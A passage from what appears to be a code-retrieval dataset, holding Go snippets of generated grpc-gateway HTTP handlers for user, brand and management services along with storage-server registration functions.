mux.GetForwardResponseOptions()...)\n\n\t})\n\n\tmux.Handle(\"GET\", pattern_UsersService_CheckUserByPhone_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) {\n\t\tctx, cancel := context.WithCancel(req.Context())\n\t\tdefer cancel()\n\t\tvar stream runtime.ServerTransportStream\n\t\tctx = grpc.NewContextWithServerTransportStream(ctx, &stream)\n\t\tinboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req)\n\t\trctx, err := runtime.AnnotateIncomingContext(ctx, mux, req)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\t\tresp, md, err := local_request_UsersService_CheckUserByPhone_0(rctx, inboundMarshaler, server, req, pathParams)\n\t\tmd.HeaderMD, md.TrailerMD = metadata.Join(md.HeaderMD, stream.Header()), metadata.Join(md.TrailerMD, stream.Trailer())\n\t\tctx = runtime.NewServerMetadataContext(ctx, md)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\n\t\tforward_UsersService_CheckUserByPhone_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...)\n\n\t})\n\n\tmux.Handle(\"GET\", pattern_UsersService_GetUserInfoByInviteCode_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) {\n\t\tctx, cancel := context.WithCancel(req.Context())\n\t\tdefer cancel()\n\t\tvar stream runtime.ServerTransportStream\n\t\tctx = grpc.NewContextWithServerTransportStream(ctx, &stream)\n\t\tinboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req)\n\t\trctx, err := runtime.AnnotateIncomingContext(ctx, mux, req)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\t\tresp, md, err := local_request_UsersService_GetUserInfoByInviteCode_0(rctx, inboundMarshaler, server, req, pathParams)\n\t\tmd.HeaderMD, md.TrailerMD = metadata.Join(md.HeaderMD, stream.Header()), metadata.Join(md.TrailerMD, stream.Trailer())\n\t\tctx = runtime.NewServerMetadataContext(ctx, md)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\n\t\tforward_UsersService_GetUserInfoByInviteCode_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...)\n\n\t})\n\n\tmux.Handle(\"POST\", pattern_UsersService_Register_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) {\n\t\tctx, cancel := context.WithCancel(req.Context())\n\t\tdefer cancel()\n\t\tvar stream runtime.ServerTransportStream\n\t\tctx = grpc.NewContextWithServerTransportStream(ctx, &stream)\n\t\tinboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req)\n\t\trctx, err := runtime.AnnotateIncomingContext(ctx, mux, req)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\t\tresp, md, err := local_request_UsersService_Register_0(rctx, inboundMarshaler, server, req, pathParams)\n\t\tmd.HeaderMD, md.TrailerMD = metadata.Join(md.HeaderMD, stream.Header()), metadata.Join(md.TrailerMD, stream.Trailer())\n\t\tctx = runtime.NewServerMetadataContext(ctx, md)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\n\t\tforward_UsersService_Register_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...)\n\n\t})\n\n\tmux.Handle(\"PUT\", pattern_UsersService_LoginUser_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) {\n\t\tctx, cancel := context.WithCancel(req.Context())\n\t\tdefer cancel()\n\t\tvar stream runtime.ServerTransportStream\n\t\tctx = grpc.NewContextWithServerTransportStream(ctx, &stream)\n\t\tinboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req)\n\t\trctx, err := runtime.AnnotateIncomingContext(ctx, mux, req)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\t\tresp, md, err := local_request_UsersService_LoginUser_0(rctx, inboundMarshaler, server, req, pathParams)\n\t\tmd.HeaderMD, md.TrailerMD = metadata.Join(md.HeaderMD, stream.Header()), metadata.Join(md.TrailerMD, stream.Trailer())\n\t\tctx = runtime.NewServerMetadataContext(ctx, md)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\n\t\tforward_UsersService_LoginUser_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...)\n\n\t})\n\n\tmux.Handle(\"PUT\", pattern_UsersService_PasswordReset_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) {\n\t\tctx, cancel := context.WithCancel(req.Context())\n\t\tdefer cancel()\n\t\tvar stream runtime.ServerTransportStream\n\t\tctx = grpc.NewContextWithServerTransportStream(ctx, &stream)\n\t\tinboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req)\n\t\trctx, err := runtime.AnnotateIncomingContext(ctx, mux, req)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\t\tresp, md, err := local_request_UsersService_PasswordReset_0(rctx, inboundMarshaler, server, req, pathParams)\n\t\tmd.HeaderMD, md.TrailerMD = metadata.Join(md.HeaderMD, stream.Header()), metadata.Join(md.TrailerMD, stream.Trailer())\n\t\tctx = runtime.NewServerMetadataContext(ctx, md)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\n\t\tforward_UsersService_PasswordReset_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...)\n\n\t})\n\n\tmux.Handle(\"PUT\", pattern_UsersService_UpdateUserLoginState_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) {\n\t\tctx, cancel := context.WithCancel(req.Context())\n\t\tdefer cancel()\n\t\tvar stream runtime.ServerTransportStream\n\t\tctx = grpc.NewContextWithServerTransportStream(ctx, &stream)\n\t\tinboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req)\n\t\trctx, err := runtime.AnnotateIncomingContext(ctx, mux, req)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\t\tresp, md, err := local_request_UsersService_UpdateUserLoginState_0(rctx, inboundMarshaler, server, req, pathParams)\n\t\tmd.HeaderMD, md.TrailerMD = metadata.Join(md.HeaderMD, stream.Header()), metadata.Join(md.TrailerMD, stream.Trailer())\n\t\tctx = runtime.NewServerMetadataContext(ctx, md)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\n\t\tforward_UsersService_UpdateUserLoginState_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...)\n\n\t})\n\n\tmux.Handle(\"PUT\", pattern_UsersService_ModifyUserDeliveryInfo_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) {\n\t\tctx, cancel := context.WithCancel(req.Context())\n\t\tdefer cancel()\n\t\tvar stream runtime.ServerTransportStream\n\t\tctx = grpc.NewContextWithServerTransportStream(ctx, &stream)\n\t\tinboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req)\n\t\trctx, err := runtime.AnnotateIncomingContext(ctx, mux, req)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\t\tresp, md, err := local_request_UsersService_ModifyUserDeliveryInfo_0(rctx, inboundMarshaler, server, req, pathParams)\n\t\tmd.HeaderMD, md.TrailerMD = metadata.Join(md.HeaderMD, stream.Header()), metadata.Join(md.TrailerMD, stream.Trailer())\n\t\tctx = runtime.NewServerMetadataContext(ctx, md)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\n\t\tforward_UsersService_ModifyUserDeliveryInfo_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...)\n\n\t})\n\n\tmux.Handle(\"GET\", pattern_UsersService_GetUserDeliveryInfo_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) {\n\t\tctx, cancel := context.WithCancel(req.Context())\n\t\tdefer cancel()\n\t\tvar stream runtime.ServerTransportStream\n\t\tctx = grpc.NewContextWithServerTransportStream(ctx, &stream)\n\t\tinboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req)\n\t\trctx, err := runtime.AnnotateIncomingContext(ctx, mux, req)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\t\tresp, md, err := local_request_UsersService_GetUserDeliveryInfo_0(rctx, inboundMarshaler, server, req, pathParams)\n\t\tmd.HeaderMD, md.TrailerMD = metadata.Join(md.HeaderMD, stream.Header()), metadata.Join(md.TrailerMD, stream.Trailer())\n\t\tctx = runtime.NewServerMetadataContext(ctx, md)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\n\t\tforward_UsersService_GetUserDeliveryInfo_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...)\n\n\t})\n\n\tmux.Handle(\"GET\", pattern_UsersService_FindUserInfo_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) {\n\t\tctx, cancel := context.WithCancel(req.Context())\n\t\tdefer cancel()\n\t\tvar stream runtime.ServerTransportStream\n\t\tctx = grpc.NewContextWithServerTransportStream(ctx, &stream)\n\t\tinboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req)\n\t\trctx, err := runtime.AnnotateIncomingContext(ctx, mux, req)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\t\tresp, md, err := local_request_UsersService_FindUserInfo_0(rctx, inboundMarshaler, server, req, pathParams)\n\t\tmd.HeaderMD, md.TrailerMD = metadata.Join(md.HeaderMD, stream.Header()), metadata.Join(md.TrailerMD, stream.Trailer())\n\t\tctx = runtime.NewServerMetadataContext(ctx, md)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\n\t\tforward_UsersService_FindUserInfo_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...)\n\n\t})\n\n\tmux.Handle(\"PUT\", pattern_UsersService_UserAccountCharge_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) {\n\t\tctx, cancel := context.WithCancel(req.Context())\n\t\tdefer cancel()\n\t\tvar stream runtime.ServerTransportStream\n\t\tctx = grpc.NewContextWithServerTransportStream(ctx, &stream)\n\t\tinboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req)\n\t\trctx, err := runtime.AnnotateIncomingContext(ctx, mux, req)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\t\tresp, md, err := local_request_UsersService_UserAccountCharge_0(rctx, inboundMarshaler, server, req, pathParams)\n\t\tmd.HeaderMD, md.TrailerMD = metadata.Join(md.HeaderMD, stream.Header()), metadata.Join(md.TrailerMD, stream.Trailer())\n\t\tctx = runtime.NewServerMetadataContext(ctx, md)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\n\t\tforward_UsersService_UserAccountCharge_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...)\n\n\t})\n\n\tmux.Handle(\"GET\", pattern_UsersService_CheckUserDeliveryInfo_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) {\n\t\tctx, cancel := context.WithCancel(req.Context())\n\t\tdefer cancel()\n\t\tvar stream runtime.ServerTransportStream\n\t\tctx = grpc.NewContextWithServerTransportStream(ctx, &stream)\n\t\tinboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req)\n\t\trctx, err := runtime.AnnotateIncomingContext(ctx, mux, req)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\t\tresp, md, err := local_request_UsersService_CheckUserDeliveryInfo_0(rctx, inboundMarshaler, server, req, pathParams)\n\t\tmd.HeaderMD, md.TrailerMD = metadata.Join(md.HeaderMD, stream.Header()), metadata.Join(md.TrailerMD, stream.Trailer())\n\t\tctx = runtime.NewServerMetadataContext(ctx, md)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\n\t\tforward_UsersService_CheckUserDeliveryInfo_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...)\n\n\t})\n\n\tmux.Handle(\"GET\", pattern_UsersService_CheckUserState_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) {\n\t\tctx, cancel := context.WithCancel(req.Context())\n\t\tdefer cancel()\n\t\tvar stream runtime.ServerTransportStream\n\t\tctx = grpc.NewContextWithServerTransportStream(ctx, &stream)\n\t\tinboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req)\n\t\trctx, err := runtime.AnnotateIncomingContext(ctx, mux, req)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\t\tresp, md, err := local_request_UsersService_CheckUserState_0(rctx, inboundMarshaler, server, req, pathParams)\n\t\tmd.HeaderMD, md.TrailerMD = metadata.Join(md.HeaderMD, stream.Header()), metadata.Join(md.TrailerMD, stream.Trailer())\n\t\tctx = runtime.NewServerMetadataContext(ctx, md)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\n\t\tforward_UsersService_CheckUserState_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...)\n\n\t})\n\n\tmux.Handle(\"GET\", pattern_UsersService_GetUserAccountId_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) {\n\t\tctx, cancel := context.WithCancel(req.Context())\n\t\tdefer cancel()\n\t\tvar stream runtime.ServerTransportStream\n\t\tctx = grpc.NewContextWithServerTransportStream(ctx, &stream)\n\t\tinboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req)\n\t\trctx, err := runtime.AnnotateIncomingContext(ctx, mux, req)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\t\tresp, md, err := local_request_UsersService_GetUserAccountId_0(rctx, inboundMarshaler, server, req, pathParams)\n\t\tmd.HeaderMD, md.TrailerMD = metadata.Join(md.HeaderMD, stream.Header()), metadata.Join(md.TrailerMD, stream.Trailer())\n\t\tctx = runtime.NewServerMetadataContext(ctx, md)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\n\t\tforward_UsersService_GetUserAccountId_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...)\n\n\t})\n\n\tmux.Handle(\"GET\", pattern_UsersService_ListUserInfo_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) {\n\t\tctx, cancel := context.WithCancel(req.Context())\n\t\tdefer cancel()\n\t\tvar stream runtime.ServerTransportStream\n\t\tctx = grpc.NewContextWithServerTransportStream(ctx, &stream)\n\t\tinboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req)\n\t\trctx, err := runtime.AnnotateIncomingContext(ctx, mux, req)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\t\tresp, md, err := local_request_UsersService_ListUserInfo_0(rctx, inboundMarshaler, server, req, pathParams)\n\t\tmd.HeaderMD, md.TrailerMD = metadata.Join(md.HeaderMD, stream.Header()), metadata.Join(md.TrailerMD, stream.Trailer())\n\t\tctx = runtime.NewServerMetadataContext(ctx, md)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\n\t\tforward_UsersService_ListUserInfo_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...)\n\n\t})\n\n\tmux.Handle(\"GET\", pattern_UsersService_SearchUserInfo_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) {\n\t\tctx, cancel := context.WithCancel(req.Context())\n\t\tdefer cancel()\n\t\tvar stream runtime.ServerTransportStream\n\t\tctx = grpc.NewContextWithServerTransportStream(ctx, &stream)\n\t\tinboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req)\n\t\trctx, err := runtime.AnnotateIncomingContext(ctx, mux, req)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\t\tresp, md, err := local_request_UsersService_SearchUserInfo_0(rctx, inboundMarshaler, server, req, pathParams)\n\t\tmd.HeaderMD, md.TrailerMD = metadata.Join(md.HeaderMD, stream.Header()), metadata.Join(md.TrailerMD, stream.Trailer())\n\t\tctx = runtime.NewServerMetadataContext(ctx, md)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\n\t\tforward_UsersService_SearchUserInfo_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...)\n\n\t})\n\n\treturn nil\n}", "title": "" }, { "docid": "efc4ed6622ac466195247bb7cbe0941e", "score": "0.5778033", "text": "func (ss *Storageserver) RegisterServer(args *storageproto.RegisterArgs, reply *storageproto.RegisterReply) error {\n\n\t// Check if node is already registered just in case\n\tfor _, node := range ss.nodeList {\n\t\tif args.ServerInfo == node {\n\t\t\tif ss.numNodes == len(ss.nodeList) {\n\t\t\t\treply.Ready = true\n\t\t\t\treply.Servers = ss.nodeList\n\t\t\t\treturn nil\n\t\t\t} else {\n\t\t\t\treply.Ready = false\n\t\t\t\treturn nil\n\t\t\t}\n\t\t}\n\t}\n\n\t// if node is not already registered\n\tif len(ss.nodeList) < ss.numNodes {\n\t\tss.nodeList = append(ss.nodeList, args.ServerInfo)\n\n\t\tif ss.numNodes == len(ss.nodeList) {\n\t\t\treply.Ready = true\n\t\t\treply.Servers = ss.nodeList\n\t\t\tsort.Sort(ss.nodeList)\n\t\t} else {\n\t\t\treply.Ready = false\n\t\t}\n\t}\n\n\treturn nil\n}", "title": "" }, { "docid": "a07fd91afff3441d0ea573bfaa8baec8", "score": "0.5773593", "text": "func RegisterBrandManagerHandlerServer(ctx context.Context, mux *runtime.ServeMux, server BrandManagerServer) error {\n\n\tmux.Handle(\"GET\", pattern_BrandManager_GetBrand_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) {\n\t\tctx, cancel := context.WithCancel(req.Context())\n\t\tdefer cancel()\n\t\tinboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req)\n\t\trctx, err := runtime.AnnotateIncomingContext(ctx, mux, req)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\t\tresp, md, err := local_request_BrandManager_GetBrand_0(rctx, inboundMarshaler, server, req, pathParams)\n\t\tctx = runtime.NewServerMetadataContext(ctx, md)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\n\t\tforward_BrandManager_GetBrand_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...)\n\n\t})\n\n\treturn nil\n}", "title": "" }, { "docid": "492e66eac8459b3771672e4768843d01", "score": "0.57709557", "text": "func RegisterHandlers(router EchoRouter, si ServerInterface) {\n\n\twrapper := ServerInterfaceWrapper{\n\t\tHandler: si,\n\t}\n\n\trouter.POST(\"/auth/set-password\", wrapper.SetPassword)\n\trouter.GET(\"/auth/token\", wrapper.Token)\n\n}", "title": "" }, { "docid": "441712bdf47101436a629ed4ba82df9b", "score": "0.5755087", "text": "func (ss *Storageserver) RegisterServer(args *storageproto.RegisterArgs,\n reply *storageproto.RegisterReply) error {\n fmt.Printf(\"st registerServer invoked\\n\")\n\n if !ss.isMaster {\n lsplog.Vlogf(0, \"WARNING:Calling a non-master node to register\")\n return lsplog.MakeErr(\"Calling a non-master node to register\")\n }\n\n _, present := ss.nodes[args.ServerInfo]\n if !present {\n //add to nodes\n ss.nodes[args.ServerInfo] = true\n fmt.Println(\"add nodes %v\", args.ServerInfo)\n }\n\n fmt.Printf(\"master collect slave info %d/%d\\n\", len(ss.nodes), ss.numnodes)\n\n reply.Servers = nil\n\n if len(ss.nodes) == ss.numnodes {\n reply.Ready = true\n //ss.GetServers(nil, reply)\n servers := make([]storageproto.Node, ss.numnodes)\n i := 0\n for node, _ := range ss.nodes {\n //fmt.Printf(\"i: %d, info: %v\\n\", i, node)\n servers[i] = node\n i++\n }\n reply.Servers = servers\n } else {\n reply.Ready = false\n }\n\n\treturn nil\n}", "title": "" }, { "docid": "3ac6355ffe99b8e7627a72f76847dd52", "score": "0.57505745", "text": "func (gs *GatewayServer) RegisterServices(s *grpc.Server) {\n\tttnpb.RegisterGsServer(s, gs)\n\tttnpb.RegisterNsGsServer(s, gs)\n\tttnpb.RegisterGtwGsServer(s, iogrpc.New(gs,\n\t\tiogrpc.WithMQTTConfigProvider(\n\t\t\tconfig.MQTTConfigProviderFunc(func(ctx context.Context) (*config.MQTT, error) {\n\t\t\t\tconfig, err := gs.GetConfig(ctx)\n\t\t\t\tif err != nil {\n\t\t\t\t\treturn nil, err\n\t\t\t\t}\n\t\t\t\treturn &config.MQTT, nil\n\t\t\t})),\n\t\tiogrpc.WithMQTTV2ConfigProvider(\n\t\t\tconfig.MQTTConfigProviderFunc(func(ctx context.Context) (*config.MQTT, error) {\n\t\t\t\tconfig, err := gs.GetConfig(ctx)\n\t\t\t\tif err != nil {\n\t\t\t\t\treturn nil, err\n\t\t\t\t}\n\t\t\t\treturn &config.MQTTV2, nil\n\t\t\t})),\n\t))\n}", "title": "" }, { "docid": "130a45dbbae7c0dd64e56f3489d0bfd7", "score": "0.57497257", "text": "func RegisterManagementServiceHandlerClient(ctx context.Context, mux *runtime.ServeMux, client ManagementServiceClient) error {\n\n\tmux.Handle(\"GET\", pattern_ManagementService_Healthz_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) {\n\t\tctx, cancel := context.WithCancel(req.Context())\n\t\tdefer cancel()\n\t\tinboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req)\n\t\trctx, err := runtime.AnnotateContext(ctx, mux, req)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\t\tresp, md, err := request_ManagementService_Healthz_0(rctx, inboundMarshaler, client, req, pathParams)\n\t\tctx = runtime.NewServerMetadataContext(ctx, md)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\n\t\tforward_ManagementService_Healthz_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...)\n\n\t})\n\n\tmux.Handle(\"GET\", pattern_ManagementService_Ready_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) {\n\t\tctx, cancel := context.WithCancel(req.Context())\n\t\tdefer cancel()\n\t\tinboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req)\n\t\trctx, err := runtime.AnnotateContext(ctx, mux, req)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\t\tresp, md, err := request_ManagementService_Ready_0(rctx, inboundMarshaler, client, req, pathParams)\n\t\tctx = runtime.NewServerMetadataContext(ctx, md)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\n\t\tforward_ManagementService_Ready_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...)\n\n\t})\n\n\tmux.Handle(\"GET\", pattern_ManagementService_Validate_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) {\n\t\tctx, cancel := context.WithCancel(req.Context())\n\t\tdefer cancel()\n\t\tinboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req)\n\t\trctx, err := runtime.AnnotateContext(ctx, mux, req)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\t\tresp, md, err := request_ManagementService_Validate_0(rctx, inboundMarshaler, client, req, pathParams)\n\t\tctx = runtime.NewServerMetadataContext(ctx, md)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\n\t\tforward_ManagementService_Validate_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...)\n\n\t})\n\n\tmux.Handle(\"GET\", pattern_ManagementService_GetZitadelDocs_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) {\n\t\tctx, cancel := context.WithCancel(req.Context())\n\t\tdefer cancel()\n\t\tinboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req)\n\t\trctx, err := runtime.AnnotateContext(ctx, mux, req)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\t\tresp, md, err := request_ManagementService_GetZitadelDocs_0(rctx, inboundMarshaler, client, req, pathParams)\n\t\tctx = runtime.NewServerMetadataContext(ctx, md)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\n\t\tforward_ManagementService_GetZitadelDocs_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...)\n\n\t})\n\n\tmux.Handle(\"GET\", pattern_ManagementService_GetIam_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) {\n\t\tctx, cancel := context.WithCancel(req.Context())\n\t\tdefer cancel()\n\t\tinboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req)\n\t\trctx, err := runtime.AnnotateContext(ctx, mux, req)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\t\tresp, md, err := request_ManagementService_GetIam_0(rctx, inboundMarshaler, client, req, pathParams)\n\t\tctx = runtime.NewServerMetadataContext(ctx, md)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\n\t\tforward_ManagementService_GetIam_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...)\n\n\t})\n\n\tmux.Handle(\"GET\", pattern_ManagementService_IsUserUnique_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) {\n\t\tctx, cancel := context.WithCancel(req.Context())\n\t\tdefer cancel()\n\t\tinboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req)\n\t\trctx, err := runtime.AnnotateContext(ctx, mux, req)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\t\tresp, md, err := request_ManagementService_IsUserUnique_0(rctx, inboundMarshaler, client, req, pathParams)\n\t\tctx = runtime.NewServerMetadataContext(ctx, md)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\n\t\tforward_ManagementService_IsUserUnique_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...)\n\n\t})\n\n\tmux.Handle(\"GET\", pattern_ManagementService_GetUserByID_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) {\n\t\tctx, cancel := context.WithCancel(req.Context())\n\t\tdefer cancel()\n\t\tinboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req)\n\t\trctx, err := runtime.AnnotateContext(ctx, mux, req)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\t\tresp, md, err := request_ManagementService_GetUserByID_0(rctx, inboundMarshaler, client, req, pathParams)\n\t\tctx = runtime.NewServerMetadataContext(ctx, md)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\n\t\tforward_ManagementService_GetUserByID_0(ctx, mux, outboundMarshaler, w, req, resp, 